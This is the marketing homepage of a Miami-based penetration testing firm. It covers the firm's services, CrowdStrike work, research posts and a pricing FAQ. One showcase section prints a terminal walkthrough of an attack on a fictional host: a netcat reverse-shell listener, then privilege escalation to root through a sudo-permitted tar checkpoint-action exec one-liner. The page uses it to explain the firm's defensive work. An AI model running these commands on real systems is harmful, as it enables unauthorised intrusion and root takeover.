Based in Miami, working worldwide · Offensive security
Penetration testing that reads like an attack, not a scan report.
Brickell Technologies is a small offensive security shop, and most of the work is remote, so where you are matters a lot less than what you run. We test networks, web apps, APIs, mobile builds and cloud accounts by hand, then hand you the route in with the evidence attached. Once you have fixed it, the retest is included.
GXPN · GMOB · CSAP · CySA+ · Security+ · CEH · eCPPT · eJPT
$ brickell scope --target you
A look at the work
From one phished account to root, in four minutes.
A reconstruction of a pattern we hit constantly. Nothing exotic happens here: no
exploit, no zero day. Somebody added tar to sudoers for a backup script
years ago, and nobody has looked at that file since.
# 14:22 listener up, waiting on the callback$ nc -lvnp 4444listening on [any] 4444 ...connect to [10.10.14.7] from (UNKNOWN) [10.10.10.42] 52134$ iduid=1001(svc_backup) gid=1001(svc_backup) groups=1001(svc_backup)$ hostnameapp-01.prod.internal# a service account. now: what can it do that it should not?$ sudo -lMatching Defaults entries for svc_backup on app-01: env_reset, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbinUser svc_backup may run the following commands on app-01: (root) NOPASSWD: /usr/bin/tar# tar can run arbitrary commands at a checkpoint. that is all it takes.$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/shtar: Removing leading `/' from member names# iduid=0(root) gid=0(root) groups=0(root)# root on a production host, from a phished account, in under four minutes.# stopped here. screenshot taken, nothing read, nothing moved.Fictional host, real technique. The point is not that it is clever, it is that it is boring, and that a scanner reports the sudoers line as informational. This is what a penetration test is for.
What we get hired for
Seven things, done properly.
We turn work down when it is outside these. You are better off with somebody who does that thing every week than with us learning on your budget.
Penetration Testing
Network, web app, API, mobile and internal testing done by hand. You get the attack path, the proof, and a retest once it is fixed.
Penetration Testing →Vulnerability Assessments
Full-estate scanning, then a human pass to strip the noise and rank what is left by real reachability instead of raw CVSS.
Vulnerability Assessments →Endpoint Security
CrowdStrike Falcon rollouts, policy tuning and legacy AV migrations, run by people who break into endpoints for a living.
Endpoint Security & CrowdStrike Falcon →Cloud Security
AWS, Azure, GCP and Kubernetes reviews that chase IAM privilege escalation paths rather than stopping at a benchmark score.
Cloud Security Posture Assessments →Compliance Readiness
Gap assessment first, then the recurring scanning and pentest evidence your SOC 2, HIPAA, PCI DSS or CMMC auditor asks for.
Compliance Readiness & Scanning →CI/CD Security
The pipeline usually holds more privilege than any human in the company. We test what a pull request can make it do, then lock it down.
CI/CD and Pipeline Security →AI Security Testing
Prompt injection, tool abuse and retrieval leaks. Most findings here are authorisation findings wearing a new hat.
AI and LLM Security Testing →Not sure which one?
Describe what you are running and what is driving the deadline. If a vulnerability assessment is the honest answer, we will tell you that instead of selling you a pentest.
Talk it through →The deliverable
What a finding looks like.
Every one lands the same way: what an attacker gets, how we got there, and the change that closes it. No CVSS score floating on its own with no context.
Why bother with a small shop
The person on the sales call is the person testing.
Big firms staff the pitch with principals and the engagement with whoever is on the bench. That is not a moral failing, it is how utilization works at scale, but you feel it when the report arrives full of template text about a stack nobody looked at closely.
Here you talk to a tester, get tested by that tester, and argue with that tester about severity if you disagree. Which happens, and it is fine.
We also say when something is boring. Inflating a self-signed certificate on an internal jump box into a "high" so the report looks meaty wastes a quarter of your engineering time on nothing; you stop trusting the severities, and then you stop reading the reports.
Tools run in the background because they are good at coverage. The findings that matter come from somebody sitting with your application until the logic gives.
Partnership
CrowdStrike Falcon, deployed by people who attack endpoints.
Most EDR rollouts stall in the same place: the agent is on every host, the policies are still whatever shipped in the box, and nobody has tested whether a detection actually fires. We deploy Falcon, tune it against real techniques, and show you the telemetry from the attempt.
Where we usually start
- Migration off legacy AV without a coverage gap in the middle
- Policy tuning: prevention on, and the exclusions written down with a reason
- Detection validation against the techniques we use on engagements
- Identity Protection and Falcon module rollout beyond the base agent
- Handover runbooks, so your team owns it instead of renting us
Research
We publish what we find.
Some of the work ends up upstream rather than in a client report. It is the same habit either way: check whether the fix closes the path, rather than only the reproducer.
October 26, 2026
CVE-2026-110720: A ServiceAccount Name Was Enough to Become Consul Admin
consul-k8s hands its own components Consul ACL roles by ServiceAccount name. Kubernetes only keeps those names unique inside a namespace, so anyone who could create a ServiceAccount anywhere in the cluster could log in as the connect injector.
Read it →October 24, 2026
FZ-2026-008: Firezone Gateways Trusted the Proxy IPs Clients Sent Them
A Firezone Client picks placeholder IPs for DNS Resources and tells the Gateway which ones it chose. The Gateway never checked them, and every address it accepted became a route.
Read it →Credentials
Certifications held by the team.
Certificates do not find bugs, people do. They are here because procurement asks, and because GXPN and GMOB in particular take a while to earn.
EC-Council
INE / eLearnSecurity
Questions we get asked
What does a penetration test cost?
Price follows the day count, and the day count follows the scope. A single web application with two user roles is a much smaller job than a 400-host internal network, so we quote flat after a short scoping call rather than publishing a number that would be wrong for most people. You will have the figure in writing before anyone touches anything, and it does not move unless you change the scope.
How long does an engagement take?
Most jobs run one to three weeks of active testing, plus a few days for the report. Booking is usually the longer wait; we tend to be scheduling two to four weeks out. If you are up against an audit date, say so on the first call and we will tell you honestly whether we can hit it.
What is the difference between a vulnerability assessment and a penetration test?
A vulnerability assessment answers "what is wrong here" across everything you own; it is broad, largely tool-driven, and repeatable on a schedule. A penetration test answers "what can someone actually do with it" by chaining those weaknesses together until something breaks. Assessments give you a list. Tests give you a story with proof attached. Compliance frameworks usually want both, at different intervals.
Will testing knock our systems over?
Denial-of-service is excluded by default and we do not run it unless you ask for it in writing. Everything else gets throttled, and fragile hosts get flagged during scoping so we can treat them carefully or leave them out. You get a phone number that reaches a tester, not a ticket queue, for the whole test window.
Can you produce the report our SOC 2 or PCI auditor wants?
Yes. We map findings to the control the assessor is going to ask about, and the report carries the scope, dates, methodology and tester credentials that auditors look for. See compliance readiness for the frameworks we work in.
Do you only work with companies in Miami?
No. Most of what we do is remote: external, web, API, cloud and mobile testing runs the same whether you are across town or in another country, so we take on clients anywhere, and time zones get sorted out during scoping like everything else. Internal, wireless and physical work does need someone in the room. Across Miami, Miami-Dade County, Fort Lauderdale and the rest of South Florida that is a short drive from our base in Miami; anywhere else it is a travel conversation rather than a no.
Know what an attacker would reach first.
Tell us what you run and what worries you. We will come back with a scope, a fixed price and the earliest week we can start.